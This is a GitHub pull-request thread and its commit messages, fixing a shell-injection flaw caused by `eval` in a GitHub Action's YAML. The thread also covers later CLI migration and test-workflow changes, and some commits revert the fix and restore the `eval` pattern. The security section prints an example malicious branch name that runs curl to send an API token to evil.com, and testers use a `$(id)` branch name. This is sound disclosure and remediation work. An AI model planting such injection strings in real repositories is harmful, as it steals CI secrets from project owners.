fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815] - #31
Conversation
Security fix for command injection vulnerability (CWE-78) in both
action.yml and review/action.yml.
Changes:
- Remove eval — replace with bash array execution for safe invocation
- Move all ${{ inputs.* }} from run: blocks to env: blocks to prevent
shell injection via attacker-controlled values
- Remove debug echo that printed API tokens and github-token to logs
- Replace bash -l {0} (login shell) with bash (standard shell)
- Quote all variable expansions to prevent word splitting
- Pin all action references to immutable commit SHAs:
- actions/setup-node v3.6.0 -> v4.4.0 (SHA pinned)
- actions/checkout v3 -> v4.3.1 (SHA pinned)
- actions/upload-artifact v4 -> v4.6.2 (SHA pinned)
- actions/download-artifact v4 -> v8.0.1 (SHA pinned)
- Sibz/github-status-action v1 (SHA pinned)
The action interface (inputs/outputs) is unchanged — this fix is
transparent to consumers.
Ref: E-1815
The mobbdev CLI now prefixes its output with status messages like "🔌 [WebSocket Mode] Using WebSocket subscription..." before the URL. This caused github-status-action to receive an invalid target_url, failing with "Validation Failed". Extract just the https:// URL from the output using grep, matching the approach already used in codeql-mobb-fixer-action. Ref: E-1815
Injection Test EvidenceTo verify the shell injection fix, a branch named How to verify
Line showing the branch name is passed as a quoted variable (safe): What you should NOT see (would mean injection succeeded): What you DO see (Mobb ran normally, no injection): Why this proves the fix worksIf the old code ( Instead, the branch name was treated as literal text, the Mobb CLI received it as a normal |
Print REPO and BRANCH values so reviewers can verify that branch names containing shell metacharacters (e.g. test-$(id)) are treated as literal text and not executed. Ref: E-1815
Updated Injection Test EvidenceRe-ran the test with added Direct linkWorkflow run: https://github.com/mobb-dev/action/actions/runs/24089287238/job/70270851010 What the log showsThe branch name What it would show if the vulnerability existedConclusionThe fix is verified. Branch names containing shell metacharacters are treated as data, not code. |
Move the last remaining ${{ github.event.* }} expression from run:
blocks to env: blocks. While PR numbers are integers (not injectable),
this ensures all github.event references consistently go through env
vars, making the pattern easier to audit and maintain.
Ref: E-1815
…-1815] (#35) * Revert "fix: use env command for array execution to support inline var assignments (#33)" This reverts commit bf76c59. * Revert "fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815] (#31)" This reverts commit a12bce4. * fix: extract URL from mobbdev CLI output The mobbdev CLI now prefixes its output with status messages like "[WebSocket Mode] Using WebSocket subscription..." before the URL. Extract just the https:// URL using grep. Ref: E-1815
* feat(review): make report-file optional for scan-and-fix mode Allow omitting report-file in the review (gh-fixer) action so the Mobb CLI can run its own internal SAST scan (opengrep) instead of requiring an external SARIF/JSON report. -f is appended only when report-file is provided. * feat(review): make scanner optional for scan-and-fix mode Allow omitting scanner alongside report-file. --scanner is appended only when the input is non-empty, so scan-and-fix mode (no external report) no longer requires a scanner declaration. * feat(review): migrate to @mobb.ai/cli and fail fast on missing required args Bugsy now ships as @mobb.ai/cli — a prebuilt standalone binary, same code and version stream as mobbdev, but no longer tied to the user's Node version. The CLI's review command hard-requires -f, --scanner and --ch (verified against 1.4.57: omitting them yields "Missing required arguments: f, scanner, ch, commit-hash"). Combined with the previous `eval ... || true`, that failure was silent: the step went green, fix-report-url was empty, the status step was skipped by its startsWith guard, and the user saw a passing check with no fix report. - switch to npx --yes @mobb.ai/cli@latest, bump setup-node v3.6.0 -> v4 - validate report-file/scanner/commit-hash/pr-number up front with an actionable ::error:: message; GitHub does not reliably enforce `required:` for composite actions - validate scanner against the CLI's own --scanner choices - add fail-on-error input (default false, preserving the historical non-blocking behaviour) and always emit an ::error:: annotation on non-zero exit instead of swallowing it - echo the CLI's stdout, which command substitution was hiding entirely - add src-path (-p) and polling inputs - quote $OUT in the tr pipeline so output containing * cannot glob - fix "GitaHub Token" typo organization-id is deliberately not wired here: the CLI rejects it on review with "Unknown argument: org". Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs * feat: migrate root action to @mobb.ai/cli and expose new CLI flags Switch to npx --yes @mobb.ai/cli@latest (standalone binary, same 1.4.57 code as mobbdev) and bump setup-node v3.6.0 -> v4. New inputs wired to flags the current CLI supports: - polling -> --polling (for runners behind proxies/firewalls blocking WSS) - create-one-pr-> --create-one-pr, appended only alongside --auto-pr, with a fail-fast check when set without auto-pr - src-path -> -p, for monorepos - scan-only -> --scan-only Also: - guard the status step with startsWith(..., 'https://'), matching the review action, so it no longer posts a status with an empty target_url when URL extraction fails - echo the CLI's stdout, which command substitution was hiding entirely - quote $OUT in the tr pipeline so output containing * cannot glob - fix "GitaHub Token" typo Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs * feat: pass --pr-id for auto-pr, not only commit-directly --pr-id was previously appended only inside the commit-directly branch, so an --auto-pr run in a pull request context never told Mobb which PR the fixes belong to. Pass it whenever a PR context exists and either auto-pr or commit-directly is enabled. Kept as an isolated commit so it can be dropped if the coupling to commit-directly was intentional. Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs * test: add lint, CLI contract, and analyze-mode test workflows This repo had no real CI signal: both existing workflows always passed report-file, so scan-and-fix, diff-aware, auto-pr and commit-directly were never exercised, and nothing checked that the flags the actions emit still exist in the CLI. Review-mode tests live in their own files (added separately) so a review regression shows up as its own red check. lint.yml - actionlint over the workflows, with -shellcheck= since shellcheck floods on the deliberate eval pattern (see reverted PRs #31/#33/#35) - .github/scripts/validate-actions.py for the composite action.yml files, which actionlint cannot lint: it parses them as workflows and fails on the missing on/jobs sections. The script bash -n's every run block, checks that every inputs.<name> reference is declared and every declared input used, and checks the README examples only pass real inputs -- which immediately caught the documented-but-nonexistent auto-commit input. cli-smoke.yml (no secrets, runs on fork PRs, no Mobb quota) - binary-ubuntu: required leg proving the platform binary resolves and runs. @mobb.ai/cli is a ~3 KB launcher that resolves a binary from optionalDependencies rather than downloading one, so it hard-fails on musl/Alpine, win-arm64, and wherever optional deps are skipped. - binary-other-os: macOS/Windows, continue-on-error, informational only. - analyze-contract: asserts analyze still documents every flag action.yml passes, and that -f stays optional so scan-and-fix keeps working. - review-contract: asserts review still documents the flags review/action.yml passes and still requires f, scanner and ch. This is the standing alarm for the mismatch this branch fixes. test-analyze-args.yml - asserts the exact command the root action builds for each input combination via the MOBB_ACTION_DRY_RUN seam, including the negative case of create-one-pr without auto-pr. No API calls. test-analyze-e2e.yml - real runs over the repo's vulnerable fixtures: scan-and-fix, diff-aware, and a manual-only auto-pr leg. Asserts fix-report-url is a real URL. main.yml - checkout/setup-node v3 -> v4, skip on fork PRs instead of failing red on missing secrets, and assert fix-report-url starts with https:// Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs * test: add dedicated review-mode test workflows Review mode gets its own workflows so that when it breaks the failing check says "review" rather than hiding inside an analyze-mode failure. test-review-e2e.yml - CodeQL -> ./review with fail-on-error: true, so a CLI failure propagates instead of producing the green-check-with-no-fix-report that the previous `eval ... || true` allowed. Asserts fix-report-url is a real URL. - daily schedule, so a CLI-side regression surfaces with no open PR - a secret-free negative job asserting that omitting report-file fails the step and produces no fix-report-url test-review-args.yml - asserts the command review/action.yml builds (-f, --scanner, --ch, --pr, --github-token) plus pass-through of mobb-project-name, src-path and polling - negative cases: no report-file, no scanner, unsupported scanner, and no pull_request context review.yml - kept as the reference example users copy; bumped checkout v3 -> v4 and codeql-action v2 -> v3 (both flagged by actionlint as too old to run), added the fork-PR guard and the permissions CodeQL needs Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs * docs: document the new CLI, new inputs, and the review action's requirements - fix the scan-and-fix example: it passed `auto-commit: true`, which no action has ever declared, so it was silently dropped. The real input is `commit-directly`. The new metadata validator now catches this class of bug. - add a Requirements section naming @mobb.ai/cli and documenting the Alpine/musl, win-arm64 and --no-optional caveat, with `npx mobbdev@latest` as the fallback for those runners - document the new inputs: create-one-pr, src-path, polling, fail-on-error - add a Review action section: the README previously framed the repo as having two modes without mentioning that review mode requires report-file and scanner and only runs on pull_request events. The CLI hard-requires all of them, so this is now stated plainly, along with a worked example and a note that organization-id is rejected on review. - add a Versioning section noting the v1 tag currently lags the v1.x tags - drop the specific scanner-engine name from the scan-and-fix description; the internal SAST implementation is in flux scan-only is deliberately left undocumented while Mobb SAST settles. Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs * Revert "feat: pass --pr-id for auto-pr, not only commit-directly" This reverts commit b85c453. * fix: enforce the CLI's auto-pr flag constraints Testing the generated commands against @mobb.ai/cli 1.4.57 surfaced two constraints the action did not respect: 1. "--create-one-pr and --commit-directly cannot be provided at the same time". The action would happily pass both. Now rejected up front with an explanation of why they conflict. 2. "--pull-request flag requires --commit-directly to be provided as well". This is why --pr-id was originally coupled to commit-directly, so the preceding commit that promoted --pr-id to plain --auto-pr runs was wrong and has been reverted. The assertion in test-analyze-args.yml is inverted to match: --pr-id must NOT appear on an --auto-pr-only run. Also adds cli-smoke checks that track both constraints. They emit notices rather than failing, since if the CLI relaxes a constraint nothing breaks - the action's guard just becomes unnecessarily strict and should be revisited. Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs * docs: correct the platform-support caveat with measured facts The previous caveat was partly wrong. Verified against the published 1.4.57 linux-x64 package and by running it in containers: - the binary is dynamically linked (interpreter /lib64/ld-linux-x86-64.so.2, needs libc.so.6 and libstdc++.so.6) and requires glibc >= 2.28, so RHEL/CentOS 7 and Ubuntu 18.04 are excluded too. That was not documented. - on Alpine, npm still installs the glibc linux-x64 package, because the platform packages carry no npm `libc` constraint. The failure therefore surfaces as `spawnSync .../mobbdev ENOENT` at spawn time. There is no helpful "install mobbdev instead" message, contrary to what the previous wording claimed. - on glibc < 2.28 the error is `mobbdev: not found`. In both cases the file exists; the ELF interpreter or libc does not. - the documented fallback, `npx mobbdev@latest`, was confirmed working on node:20-alpine. Replaces the prose caveat with a platform-support table and the real error signatures, so someone hitting either error can recognise it. Also notes that an Alpine container job cannot use this action regardless, since actions/setup-node installs official nodejs.org builds and has no musl variant; those users should invoke the CLI directly. Adds a cli-smoke musl-fallback job that runs in node:20-alpine and asserts the documented fallback still works, so the escape hatch cannot rot. It also emits a notice if @mobb.ai/cli ever starts working on musl. Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs * fix(ci): install PyYAML into a setup-python interpreter Running the lint workflow locally through `act` surfaced a real failure, not an emulation artifact: error: externally-managed-environment × This environment is externally managed `python3 -m pip install pyyaml` cannot install into the system Python on modern Ubuntu (PEP 668), which is what ubuntu-latest now is. Add actions/setup-python so pip has an interpreter it owns. Verified: both lint jobs now pass under act. Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs * docs: state supported runners instead of cataloguing unsupported ones Reframes the platform section around what the action supports: GitHub-hosted ubuntu runners, self-hosted Linux with glibc 2.28+, and the platforms the CLI publishes binaries for. Drops the table of unsupported environments and the error-signature notes. Keeps one neutral line pointing at `npx mobbdev@latest` for other environments, so anyone outside the supported set still has a path forward. Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs * refactor: let the Mobb CLI handle error and input conditions Trims this branch back to the migration itself, per review feedback. review/action.yml - restore the original logic: conditional -f and --scanner appends, and `eval ... || true`. Removes the fail-fast validation of report-file, scanner, commit-hash and pr-number, the scanner allowlist, and the fail-on-error input. Bugsy reports these conditions itself. action.yml - remove the create-one-pr/auto-pr and create-one-pr/commit-directly input validation for the same reason. both - remove the src-path input. These actions always run in GitHub CI, where the source is checked out at the workspace root, so pointing the CLI at an arbitrary local path is not a case worth supporting. - remove the MOBB_ACTION_DRY_RUN test seam and the mobb-command output. CI should exercise the real thing; API usage is not a constraint here. workflows - delete test-analyze-args.yml and test-review-args.yml, which existed only to assert the dry-run command string. - test-analyze-e2e.yml now covers the combinations for real: scan-and-fix, polling, scan-only, diff-aware, and a manual-only auto-pr leg. - test-review-e2e.yml drops fail-on-error and the negative job. The review action keeps its non-blocking behaviour, so the fix-report-url assertion is what turns a CLI problem into a red check in CI. - cli-smoke.yml drops the checks that only existed to justify the removed guards, and the musl fallback job. README - point everything at v1.1, the active release tag, and drop the discussion of other tags. - remove src-path and fail-on-error. Two small fixes are kept in both actions: quoting $OUT in the tr pipeline so CLI output containing * cannot glob, and the startsWith('https://') guard on the root action's status step, which the review action already had. Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs * docs: update version references from v1.1 to v1.2 Point all action references and examples to the current active release tag. Claude-Session: https://claude.ai/code/session_011tjj4uQmBrSMYKrDjCbHGs
Summary
Fixes command injection (CWE-78) in both
action.ymlandreview/action.yml:eval $MobbExecString— replace with bash array execution${{ inputs.* }}fromrun:blocks toenv:blocksecho "Mobb Command: ..."that printedapi-keyandgithub-tokento logsbash -l {0}withbash$GITHUB_HEAD_REF)Security Context
review/action.ymlbuilds a command string containing$GITHUB_HEAD_REF(the PR branch name) and secrets, then executes it viaeval. A malicious branch name liketest-$(curl${IFS}evil.com/${MOBB_API_TOKEN})causes theevalto execute the embedded command, exfiltrating the Mobb API token.This affects all 12 Mobb-Fixer-Demo repos that consume
mobb-dev/action/review@v1.1.The fix replaces
evalwith direct command execution using a bash array, and moves all secrets toenv:blocks where bash treats them as data.Consumer Impact
None. The action
inputs:andoutputs:are unchanged. This fix is transparent to all consumers.Test plan